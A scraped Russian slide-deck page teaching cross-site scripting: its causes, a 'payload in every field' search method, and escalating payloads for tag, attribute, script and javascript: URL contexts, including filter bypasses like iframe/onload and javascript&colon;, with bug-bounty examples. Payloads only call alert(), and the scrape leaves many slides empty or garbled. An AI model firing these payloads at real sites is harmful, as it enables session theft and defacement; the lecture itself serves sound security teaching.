XSS (Cross-Site Scripting)

Сентябрь 5, 2022

Главная
Алгебра
XSS (Cross-Site Scripting)

Содержание

2. Поговорим про XSS Создадим универсальный пейлоад для поиска XSS Завтра - призы и разбор заданий Программа
3. Нафига?
4. XSS (Cross-Site Scripting) - это когда хакер может выполнить произвольный javascript в браузере жертвы в контексте
5. 1. при генерации html-страницы, когда в код подтягиваются: любые данные из БД, ранее указанные пользователем -
6. 1. пейлоад во все поля/параметры 2. рано или поздно выполнится alert() XSS - методология
9. F12 -> Ctrl+F -> "qweqwe"
12. alert()
13. XSS – Level 0
14. XSS: между тэгами разметки Привет, !
15. XSS: между тэгами разметки Привет, alert() ! /page.php?name= alert()
16. XSS: между тэгами разметки Привет, !
17. XSS: между тэгами разметки Привет, Вася alert() !
18. XSS: внутри значения аттрибута ">!
19. XSS: внутри значения аттрибута alert() ">! /page.php?name="> alert()
20. "> alert()
21. XSS – Level 1
22. XSS: между специфичных тэгов Привет,
23. XSS: между специфичных тэгов Привет,"> alert() /page.php?name="> alert()
24. XSS: между специфичных тэгов Привет,"> alert() /page.php?name="> alert() Сработает?
25. XSS: между специфичных тэгов Привет,"> alert() /page.php?name="> alert() НЕТ!
26. XSS: между специфичных тэгов Привет,"> alert() /page.php?name="> alert()
27. "> alert()
28. XSS: между специфичных тэгов var name=" ";
29. XSS: между специфичных тэгов var name=""> alert() "; /page.php?name="> alert()
30. XSS: между специфичных тэгов var name=""> alert() "; /page.php?name="> alert()
31. "> alert() + …(по ситуации)
32. XSS – Level 2
33. XSS: особенности HTML ">!
34. XSS: особенности HTML '>!
35. '"> alert()
36. XSS: внутри значения аттрибута ",">")..%>'>!
37. XSS: внутри значения аттрибута ! /page.php?name='> alert()
38. XSS: внутри значения аттрибута ! (autofocus onfocus не будут работать если у инпута type=hidden) /page.php?name='%20autofocus%20onfocus='alert();
39. XSS: внутри тэга script var name=" ";
40. XSS: внутри тэга script var name=""; alert();//"; /page.php?name=";+alert();//
41. XSS: внутри ссылки ">Вернуться
42. XSS: внутри ссылки Вернуться /page.php?returnUrl=javascript:alert()
43. XSS: внутри ссылки Вернуться /page.php?returnUrl=%20javascript:alert() Сработает?
44. XSS: внутри ссылки Вернуться /page.php?returnUrl=%20javascript:alert() ДА!
45. XSS: внутри ссылки Вернуться /page.php?returnUrl=%09javascript:alert()
46. XSS на biz.mail.ru Bounty – 500$ https://hackerone.com/reports/268245
50. XSS: внутри ссылки Вернуться /page.php?returnUrl=javascript:alert()
51. XSS – Level 3
52. '"> alert()
53. '"> alert()
54. '">
56. Плюсы iframe: 1. Легко заметить, если пейлоад встраивается в страницу, но на onload работают санитайзеры 2.
59. XSS – Level 1337
60. Пробелы между аттрибутами в тэге могут замениться слэшем Тэг необязательно закрывать! , нужно закрывать и его
61. From: '"> to: '">
62. XSS в личных сообщениях на ... Bounty – 3000$ https://hackerone.com/reports/...
63. Обрезали все, что подходит под паттерн " " Но незакрытый тэг нормализуется всеми современными браузерами в
65. + Bonus
66. Back to redirect XSS Вернуться /page.php?returnUrl=javascript:alert()
67. Может быть требовать формат URL: protocol://host:port/... ? Разработчик
68. Back to redirect XSS Вернуться
70. А может быть тогда просто запретить слово javascript в урле? Разработчик
71. Back to redirect XSS Вернуться
72. Ну, тогда я буду требовать, чтобы ссылка начиналась на http(s) или на / Разработчик
74. Скачать презентацию

Слайд 2

Поговорим про XSS
Создадим универсальный пейлоад для поиска XSS
Завтра -

призы и разбор заданий

Программа

Слайд 3

Нафига?

Слайд 4

XSS (Cross-Site Scripting) - это когда хакер может выполнить произвольный javascript в

браузере жертвы в контексте вашего сайта

Слайд 5

1. при генерации html-страницы, когда в код подтягиваются:
любые данные из БД,

ранее указанные пользователем - stored XSS
параметры из урла/тела запроса - reflected XSS
значения http заголовков, куки - нужен mitm или другой баг (не сегодня)
2. при изменении страницы джаваскриптом (про это в другой раз):
postMessage
InnerHTML, $().html(), document.write
location.hash...

XSS - причины

Слайд 6

1. пейлоад во все поля/параметры
2. рано или поздно выполнится alert()
XSS -

методология

Слайд 7

Слайд 8

Слайд 9

F12 -> Ctrl+F -> "qweqwe"

Слайд 10

Слайд 11

Слайд 12

Слайд 13

XSS – Level 0

Слайд 14

XSS: между тэгами разметки
Привет, !

Слайд 15

XSS: между тэгами разметки
Привет, !
/page.php?name=

Слайд 16

XSS: между тэгами разметки
Привет, !

Слайд 17

XSS: между тэгами разметки
Привет, Вася!

Слайд 18

XSS: внутри значения аттрибута
">!

Слайд 19

XSS: внутри значения аттрибута
">!

/page.php?name=">

Слайд 20

">

Слайд 21

XSS – Level 1

Слайд 22

XSS: между специфичных тэгов

Привет, <?php echo($_GET["name"]); ?>

Слайд 23

XSS: между специфичных тэгов

Привет,"><script>alert()</script>

/page.php?name=">

Слайд 24

XSS: между специфичных тэгов

Привет,"><script>alert()</script>

/page.php?name=">
Сработает?

Слайд 25

XSS: между специфичных тэгов

Привет,"><script>alert()</script>

/page.php?name=">
НЕТ!

Слайд 26

XSS: между специфичных тэгов

Привет,">

/page.php?name=">

Слайд 27

">

Слайд 28

XSS: между специфичных тэгов

Слайд 29

XSS: между специфичных тэгов
";

/page.php?name=">

Слайд 30

XSS: между специфичных тэгов
";

/page.php?name=">

Слайд 31

"> + …(по ситуации)

Слайд 32

XSS – Level 2

Слайд 33

XSS: особенности HTML
">!

Слайд 34

XSS: особенности HTML
!

Слайд 35

'">

Слайд 36

XSS: внутри значения аттрибута
!

Слайд 37

XSS: внутри значения аттрибута
!

/page.php?name='>

Слайд 38

XSS: внутри значения аттрибута
!

(autofocus onfocus не будут работать

если у инпута type=hidden)

/page.php?name='%20autofocus%20onfocus='alert();

Слайд 39

XSS: внутри тэга script

Слайд 40

XSS: внутри тэга script

/page.php?name=";+alert();//

Слайд 41

XSS: внутри ссылки
">Вернуться

Слайд 42

XSS: внутри ссылки
Вернуться
/page.php?returnUrl=javascript:alert()

Слайд 43

XSS: внутри ссылки
Вернуться
/page.php?returnUrl=%20javascript:alert()
Сработает?

Слайд 44

XSS: внутри ссылки
Вернуться
/page.php?returnUrl=%20javascript:alert()
ДА!

Слайд 45

XSS: внутри ссылки
Вернуться
/page.php?returnUrl=%09javascript:alert()

Слайд 46

XSS на biz.mail.ru Bounty – 500$ https://hackerone.com/reports/268245

Слайд 47

Слайд 48

Слайд 49

Слайд 50

XSS: внутри ссылки
Вернуться
/page.php?returnUrl=javascript:alert()

Слайд 51

XSS – Level 3

Слайд 52

'">

Слайд 53

'">

Слайд 54

'"><br></div></h2></div></div><div class="slides-wrapper"><div id="slide55" class="slides-item"><div class="text-center"><span class="slides-headingUnit">Слайд 55</span></div><h2 class="mb-0"><img src="/_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1345341/slide-54.jpg" onerror="this.setAttribute('data-error', 1)" width="720" height="540" alt loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&q_80&fit_contain&s_480x360/imagesDir/jpg/1345341/slide-54.jpg 480w, /_ipx/f_webp&q_80&fit_contain&s_720x540/imagesDir/jpg/1345341/slide-54.jpg 720w, /_ipx/f_webp&q_80&fit_contain&s_960x720/imagesDir/jpg/1345341/slide-54.jpg 960w, /_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1345341/slide-54.jpg 1440w" class="slides-image"></h2><h2 class="slides-content text-center font-bold"><div></div></h2></div></div><div class="slides-wrapper"><div id="slide56" class="slides-item"><div class="text-center"><span class="slides-headingUnit">Слайд 56</span></div><h2 class="mb-0"><img src="/_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1345341/slide-55.jpg" onerror="this.setAttribute('data-error', 1)" width="720" height="540" alt="Плюсы iframe: 1. Легко заметить, если пейлоад встраивается в страницу, но" loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&q_80&fit_contain&s_480x360/imagesDir/jpg/1345341/slide-55.jpg 480w, /_ipx/f_webp&q_80&fit_contain&s_720x540/imagesDir/jpg/1345341/slide-55.jpg 720w, /_ipx/f_webp&q_80&fit_contain&s_960x720/imagesDir/jpg/1345341/slide-55.jpg 960w, /_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1345341/slide-55.jpg 1440w" class="slides-image"></h2><h2 class="slides-content text-center font-bold"><div><p> Плюсы iframe: 1. Легко заметить, если пейлоад встраивается в страницу,</div></h2><div class="slides-content">но на onload работают санитайзеры 2. Есть волшебный аттрибут srcdoc <br></div></div></div><div class="slides-wrapper"><div id="slide57" class="slides-item"><div class="text-center"><span class="slides-headingUnit">Слайд 57</span></div><h2 class="mb-0"><img src="/_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1345341/slide-56.jpg" onerror="this.setAttribute('data-error', 1)" width="720" height="540" alt loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&q_80&fit_contain&s_480x360/imagesDir/jpg/1345341/slide-56.jpg 480w, /_ipx/f_webp&q_80&fit_contain&s_720x540/imagesDir/jpg/1345341/slide-56.jpg 720w, /_ipx/f_webp&q_80&fit_contain&s_960x720/imagesDir/jpg/1345341/slide-56.jpg 960w, /_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1345341/slide-56.jpg 1440w" class="slides-image"></h2><h2 class="slides-content text-center font-bold"><div></div></h2></div></div><div class="slides-wrapper"><div id="slide58" class="slides-item"><div class="text-center"><span class="slides-headingUnit">Слайд 58</span></div><h2 class="mb-0"><img src="/_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1345341/slide-57.jpg" onerror="this.setAttribute('data-error', 1)" width="720" height="540" alt loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&q_80&fit_contain&s_480x360/imagesDir/jpg/1345341/slide-57.jpg 480w, /_ipx/f_webp&q_80&fit_contain&s_720x540/imagesDir/jpg/1345341/slide-57.jpg 720w, /_ipx/f_webp&q_80&fit_contain&s_960x720/imagesDir/jpg/1345341/slide-57.jpg 960w, /_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1345341/slide-57.jpg 1440w" class="slides-image"></h2><h2 class="slides-content text-center font-bold"><div></div></h2></div></div><div class="slides-wrapper"><div id="slide59" class="slides-item"><div class="text-center"><span class="slides-headingUnit">Слайд 59</span></div><h2 class="mb-0"><img src="/_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1345341/slide-58.jpg" onerror="this.setAttribute('data-error', 1)" width="720" height="540" alt="XSS – Level 1337" loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&q_80&fit_contain&s_480x360/imagesDir/jpg/1345341/slide-58.jpg 480w, /_ipx/f_webp&q_80&fit_contain&s_720x540/imagesDir/jpg/1345341/slide-58.jpg 720w, /_ipx/f_webp&q_80&fit_contain&s_960x720/imagesDir/jpg/1345341/slide-58.jpg 960w, /_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1345341/slide-58.jpg 1440w" class="slides-image"></h2><h2 class="slides-content text-center font-bold"><div><p>XSS – Level 1337<br></div></h2></div></div><div class="slides-wrapper"><div id="slide60" class="slides-item"><div class="text-center"><span class="slides-headingUnit">Слайд 60</span></div><h2 class="mb-0"><img src="/_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1345341/slide-59.jpg" onerror="this.setAttribute('data-error', 1)" width="720" height="540" alt="Пробелы между аттрибутами в тэге могут замениться слэшем Тэг необязательно закрывать! , нужно закрывать и его" loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&q_80&fit_contain&s_480x360/imagesDir/jpg/1345341/slide-59.jpg 480w, /_ipx/f_webp&q_80&fit_contain&s_720x540/imagesDir/jpg/1345341/slide-59.jpg 720w, /_ipx/f_webp&q_80&fit_contain&s_960x720/imagesDir/jpg/1345341/slide-59.jpg 960w, /_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1345341/slide-59.jpg 1440w" class="slides-image"></h2><h2 class="slides-content text-center font-bold"><div><p>Пробелы между аттрибутами в тэге могут замениться слэшем Тэг необязательно закрывать! <iframe/onload='alert()' Есть</div></h2><div class="slides-content">кейс, когда пейлоад попадает между комментом , нужно закрывать и его <br></div></div></div><div class="slides-wrapper"><div id="slide61" class="slides-item"><div class="text-center"><span class="slides-headingUnit">Слайд 61</span></div><h2 class="mb-0"><img src="/_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1345341/slide-60.jpg" onerror="this.setAttribute('data-error', 1)" width="720" height="540" alt="From: '"> to: '">" loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&q_80&fit_contain&s_480x360/imagesDir/jpg/1345341/slide-60.jpg 480w, /_ipx/f_webp&q_80&fit_contain&s_720x540/imagesDir/jpg/1345341/slide-60.jpg 720w, /_ipx/f_webp&q_80&fit_contain&s_960x720/imagesDir/jpg/1345341/slide-60.jpg 960w, /_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1345341/slide-60.jpg 1440w" class="slides-image"></h2><h2 class="slides-content text-center font-bold"><div><p> From: '"></title></script><iframe onload='alert``'> to: '"></title/</script/</style/--><iframe/onload='alert``'<br></div></h2></div></div><div class="slides-wrapper"><div id="slide62" class="slides-item"><div class="text-center"><span class="slides-headingUnit">Слайд 62</span></div><h2 class="mb-0"><img src="/_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1345341/slide-61.jpg" onerror="this.setAttribute('data-error', 1)" width="720" height="540" alt="XSS в личных сообщениях на ... Bounty – 3000$ https://hackerone.com/reports/..." loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&q_80&fit_contain&s_480x360/imagesDir/jpg/1345341/slide-61.jpg 480w, /_ipx/f_webp&q_80&fit_contain&s_720x540/imagesDir/jpg/1345341/slide-61.jpg 720w, /_ipx/f_webp&q_80&fit_contain&s_960x720/imagesDir/jpg/1345341/slide-61.jpg 960w, /_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1345341/slide-61.jpg 1440w" class="slides-image"></h2><h2 class="slides-content text-center font-bold"><div><p>XSS в личных сообщениях на ... Bounty – 3000$ https://hackerone.com/reports/...<br></div></h2></div></div><div class="slides-wrapper"><div id="slide63" class="slides-item"><div class="text-center"><span class="slides-headingUnit">Слайд 63</span></div><h2 class="mb-0"><img src="/_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1345341/slide-62.jpg" onerror="this.setAttribute('data-error', 1)" width="720" height="540" alt="Обрезали все, что подходит под паттерн " " Но незакрытый тэг" loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&q_80&fit_contain&s_480x360/imagesDir/jpg/1345341/slide-62.jpg 480w, /_ipx/f_webp&q_80&fit_contain&s_720x540/imagesDir/jpg/1345341/slide-62.jpg 720w, /_ipx/f_webp&q_80&fit_contain&s_960x720/imagesDir/jpg/1345341/slide-62.jpg 960w, /_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1345341/slide-62.jpg 1440w" class="slides-image"></h2><h2 class="slides-content text-center font-bold"><div><p>Обрезали все, что подходит под паттерн "<…>" Но незакрытый тэг нормализуется всеми</div></h2><div class="slides-content">современными браузерами в закрытый!<br></div></div></div><div class="slides-wrapper"><div id="slide64" class="slides-item"><div class="text-center"><span class="slides-headingUnit">Слайд 64</span></div><h2 class="mb-0"><img src="/_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1345341/slide-63.jpg" onerror="this.setAttribute('data-error', 1)" width="720" height="540" alt loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&q_80&fit_contain&s_480x360/imagesDir/jpg/1345341/slide-63.jpg 480w, /_ipx/f_webp&q_80&fit_contain&s_720x540/imagesDir/jpg/1345341/slide-63.jpg 720w, /_ipx/f_webp&q_80&fit_contain&s_960x720/imagesDir/jpg/1345341/slide-63.jpg 960w, /_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1345341/slide-63.jpg 1440w" class="slides-image"></h2><h2 class="slides-content text-center font-bold"><div><p><iframe/onload='alert()'<br></div></h2></div></div><div class="slides-wrapper"><div id="slide65" class="slides-item"><div class="text-center"><span class="slides-headingUnit">Слайд 65</span></div><h2 class="mb-0"><img src="/_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1345341/slide-64.jpg" onerror="this.setAttribute('data-error', 1)" width="720" height="540" alt="+ Bonus" loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&q_80&fit_contain&s_480x360/imagesDir/jpg/1345341/slide-64.jpg 480w, /_ipx/f_webp&q_80&fit_contain&s_720x540/imagesDir/jpg/1345341/slide-64.jpg 720w, /_ipx/f_webp&q_80&fit_contain&s_960x720/imagesDir/jpg/1345341/slide-64.jpg 960w, /_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1345341/slide-64.jpg 1440w" class="slides-image"></h2><h2 class="slides-content text-center font-bold"><div><p>+ Bonus<br></div></h2></div></div><div class="slides-wrapper"><div id="slide66" class="slides-item"><div class="text-center"><span class="slides-headingUnit">Слайд 66</span></div><h2 class="mb-0"><img src="/_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1345341/slide-65.jpg" onerror="this.setAttribute('data-error', 1)" width="720" height="540" alt="Back to redirect XSS Вернуться /page.php?returnUrl=javascript:alert()" loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&q_80&fit_contain&s_480x360/imagesDir/jpg/1345341/slide-65.jpg 480w, /_ipx/f_webp&q_80&fit_contain&s_720x540/imagesDir/jpg/1345341/slide-65.jpg 720w, /_ipx/f_webp&q_80&fit_contain&s_960x720/imagesDir/jpg/1345341/slide-65.jpg 960w, /_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1345341/slide-65.jpg 1440w" class="slides-image"></h2><h2 class="slides-content text-center font-bold"><div><p>Back to redirect XSS <br><a href="javascript:alert()">Вернуться</a><br><p>/page.php?returnUrl=javascript:alert()<br></div></h2></div></div><div class="slides-wrapper"><div id="slide67" class="slides-item"><div class="text-center"><span class="slides-headingUnit">Слайд 67</span></div><h2 class="mb-0"><img src="/_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1345341/slide-66.jpg" onerror="this.setAttribute('data-error', 1)" width="720" height="540" alt="Может быть требовать формат URL: protocol://host:port/... ? Разработчик" loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&q_80&fit_contain&s_480x360/imagesDir/jpg/1345341/slide-66.jpg 480w, /_ipx/f_webp&q_80&fit_contain&s_720x540/imagesDir/jpg/1345341/slide-66.jpg 720w, /_ipx/f_webp&q_80&fit_contain&s_960x720/imagesDir/jpg/1345341/slide-66.jpg 960w, /_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1345341/slide-66.jpg 1440w" class="slides-image"></h2><h2 class="slides-content text-center font-bold"><div><p>Может быть требовать формат URL:<br>protocol://host:port/... ?<br><p>Разработчик<br></div></h2></div></div><div class="slides-wrapper"><div id="slide68" class="slides-item"><div class="text-center"><span class="slides-headingUnit">Слайд 68</span></div><h2 class="mb-0"><img src="/_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1345341/slide-67.jpg" onerror="this.setAttribute('data-error', 1)" width="720" height="540" alt="Back to redirect XSS Вернуться" loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&q_80&fit_contain&s_480x360/imagesDir/jpg/1345341/slide-67.jpg 480w, /_ipx/f_webp&q_80&fit_contain&s_720x540/imagesDir/jpg/1345341/slide-67.jpg 720w, /_ipx/f_webp&q_80&fit_contain&s_960x720/imagesDir/jpg/1345341/slide-67.jpg 960w, /_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1345341/slide-67.jpg 1440w" class="slides-image"></h2><h2 class="slides-content text-center font-bold"><div><p>Back to redirect XSS <br><a href="javascript://qwe.com/%0aalert()">Вернуться</a><br></div></h2></div></div><div class="slides-wrapper"><div id="slide69" class="slides-item"><div class="text-center"><span class="slides-headingUnit">Слайд 69</span></div><h2 class="mb-0"><img src="/_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1345341/slide-68.jpg" onerror="this.setAttribute('data-error', 1)" width="720" height="540" alt loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&q_80&fit_contain&s_480x360/imagesDir/jpg/1345341/slide-68.jpg 480w, /_ipx/f_webp&q_80&fit_contain&s_720x540/imagesDir/jpg/1345341/slide-68.jpg 720w, /_ipx/f_webp&q_80&fit_contain&s_960x720/imagesDir/jpg/1345341/slide-68.jpg 960w, /_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1345341/slide-68.jpg 1440w" class="slides-image"></h2><h2 class="slides-content text-center font-bold"><div></div></h2></div></div><div class="slides-wrapper"><div id="slide70" class="slides-item"><div class="text-center"><span class="slides-headingUnit">Слайд 70</span></div><h2 class="mb-0"><img src="/_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1345341/slide-69.jpg" onerror="this.setAttribute('data-error', 1)" width="720" height="540" alt="А может быть тогда просто запретить слово javascript в урле? Разработчик" loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&q_80&fit_contain&s_480x360/imagesDir/jpg/1345341/slide-69.jpg 480w, /_ipx/f_webp&q_80&fit_contain&s_720x540/imagesDir/jpg/1345341/slide-69.jpg 720w, /_ipx/f_webp&q_80&fit_contain&s_960x720/imagesDir/jpg/1345341/slide-69.jpg 960w, /_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1345341/slide-69.jpg 1440w" class="slides-image"></h2><h2 class="slides-content text-center font-bold"><div><p>А может быть тогда просто запретить слово javascript в урле?<br><p>Разработчик<br></div></h2></div></div><div class="slides-wrapper"><div id="slide71" class="slides-item"><div class="text-center"><span class="slides-headingUnit">Слайд 71</span></div><h2 class="mb-0"><img src="/_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1345341/slide-70.jpg" onerror="this.setAttribute('data-error', 1)" width="720" height="540" alt="Back to redirect XSS Вернуться" loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&q_80&fit_contain&s_480x360/imagesDir/jpg/1345341/slide-70.jpg 480w, /_ipx/f_webp&q_80&fit_contain&s_720x540/imagesDir/jpg/1345341/slide-70.jpg 720w, /_ipx/f_webp&q_80&fit_contain&s_960x720/imagesDir/jpg/1345341/slide-70.jpg 960w, /_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1345341/slide-70.jpg 1440w" class="slides-image"></h2><h2 class="slides-content text-center font-bold"><div><p>Back to redirect XSS <br><p><a href="javascript&colon;//qwe.com/%0aalert()">Вернуться</a><br></div></h2></div></div><div class="slides-wrapper"><div id="slide72" class="slides-item"><div class="text-center"><span class="slides-headingUnit">Слайд 72</span></div><h2 class="mb-0"><img src="/_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1345341/slide-71.jpg" onerror="this.setAttribute('data-error', 1)" width="720" height="540" alt="Ну, тогда я буду требовать, чтобы ссылка начиналась на http(s) или на / Разработчик" loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&q_80&fit_contain&s_480x360/imagesDir/jpg/1345341/slide-71.jpg 480w, /_ipx/f_webp&q_80&fit_contain&s_720x540/imagesDir/jpg/1345341/slide-71.jpg 720w, /_ipx/f_webp&q_80&fit_contain&s_960x720/imagesDir/jpg/1345341/slide-71.jpg 960w, /_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1345341/slide-71.jpg 1440w" class="slides-image"></h2><h2 class="slides-content text-center font-bold"><div><p>Ну, тогда я буду требовать, чтобы ссылка начиналась на http(s) или</div></h2><div class="slides-content">на /<br><p>Разработчик<br></div></div></div><div class="slides-wrapper"></div></div><div class="section"><div></div></div><form id="download" action="/api/" method="post" class="download"><button class="download-btn" type="submit">Скачать</button></form><div class="navigation"><div class="navigation-item"><div>- Предыдущая</div><a href="/algebra/chelovek-v-religioznyx-tradiciyax-mira-1" class="navigation-link">Человек в религиозных традициях мира</a></div><div class="navigation-item"><div>Следующая -</div><a href="/russkiy-yazyk/slovarnyj-urok-7-klass" class="navigation-link">Словарный урок. 7 класс</a></div></div></div></div><div class="item-layoutRelated"><div class="section"><div></div></div></div></div><div class="item-layout"><div class="related"><h2 class="related-header">Похожие презентации</h2><div class="related-wrapper"><div class="related-item"><a href="/algebra/lekciya-4-2019-20" class="related-itemLink"><img src="/_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1452237/slide-0.jpg" onerror="this.setAttribute('data-error', 1)" width="720" height="540" alt loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&q_80&fit_contain&s_480x360/imagesDir/jpg/1452237/slide-0.jpg 480w, /_ipx/f_webp&q_80&fit_contain&s_720x540/imagesDir/jpg/1452237/slide-0.jpg 720w, /_ipx/f_webp&q_80&fit_contain&s_960x720/imagesDir/jpg/1452237/slide-0.jpg 960w, /_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1452237/slide-0.jpg 1440w" class="slides-image related-itemImage"> лекция_4_2019_20</a></div><div class="related-item"><a href="/algebra/nedejstvitelnost-sdelki--sovershennoj-pod-vliyaniem-zabluzhdeniya" class="related-itemLink"><img src="/_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1221587/slide-0.jpg" onerror="this.setAttribute('data-error', 1)" width="720" height="540" alt loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&q_80&fit_contain&s_480x360/imagesDir/jpg/1221587/slide-0.jpg 480w, /_ipx/f_webp&q_80&fit_contain&s_720x540/imagesDir/jpg/1221587/slide-0.jpg 720w, /_ipx/f_webp&q_80&fit_contain&s_960x720/imagesDir/jpg/1221587/slide-0.jpg 960w, /_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1221587/slide-0.jpg 1440w" class="slides-image related-itemImage"> Недействительность сделки, совершенной под влиянием заблуждения</a></div><div class="related-item"><a href="/algebra/osnovnye-ponyatiya-o-gosudarstve-i-politicheskoj-sisteme" class="related-itemLink"><img src="/_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1350005/slide-0.jpg" onerror="this.setAttribute('data-error', 1)" width="720" height="540" alt loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&q_80&fit_contain&s_480x360/imagesDir/jpg/1350005/slide-0.jpg 480w, /_ipx/f_webp&q_80&fit_contain&s_720x540/imagesDir/jpg/1350005/slide-0.jpg 720w, /_ipx/f_webp&q_80&fit_contain&s_960x720/imagesDir/jpg/1350005/slide-0.jpg 960w, /_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1350005/slide-0.jpg 1440w" class="slides-image related-itemImage"> Основные понятия о государстве и политической системе</a></div><div class="related-item"><a href="/algebra/ponyatie-i-struktura-pravovoj-sistemy" class="related-itemLink"><img src="/_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1308680/slide-0.jpg" onerror="this.setAttribute('data-error', 1)" width="720" height="540" alt loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&q_80&fit_contain&s_480x360/imagesDir/jpg/1308680/slide-0.jpg 480w, /_ipx/f_webp&q_80&fit_contain&s_720x540/imagesDir/jpg/1308680/slide-0.jpg 720w, /_ipx/f_webp&q_80&fit_contain&s_960x720/imagesDir/jpg/1308680/slide-0.jpg 960w, /_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1308680/slide-0.jpg 1440w" class="slides-image related-itemImage"> Понятие и структура правовой системы </a></div><div class="related-item"><a href="/algebra/prezentaciya-quotrazvitie-marketinga-v-kitaequot--skachat-prezentacii-po-ekonomike" class="related-itemLink"><img src="/_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1255212/slide-0.jpg" onerror="this.setAttribute('data-error', 1)" width="720" height="540" alt loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&q_80&fit_contain&s_480x360/imagesDir/jpg/1255212/slide-0.jpg 480w, /_ipx/f_webp&q_80&fit_contain&s_720x540/imagesDir/jpg/1255212/slide-0.jpg 720w, /_ipx/f_webp&q_80&fit_contain&s_960x720/imagesDir/jpg/1255212/slide-0.jpg 960w, /_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1255212/slide-0.jpg 1440w" class="slides-image related-itemImage"> Развитие маркетинга в Китае Подготовила: Клеутина Светлана ДС_01 </a></div><div class="related-item"><a href="/algebra/bo-a-matka" class="related-itemLink"><img src="/_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1363073/slide-0.jpg" onerror="this.setAttribute('data-error', 1)" 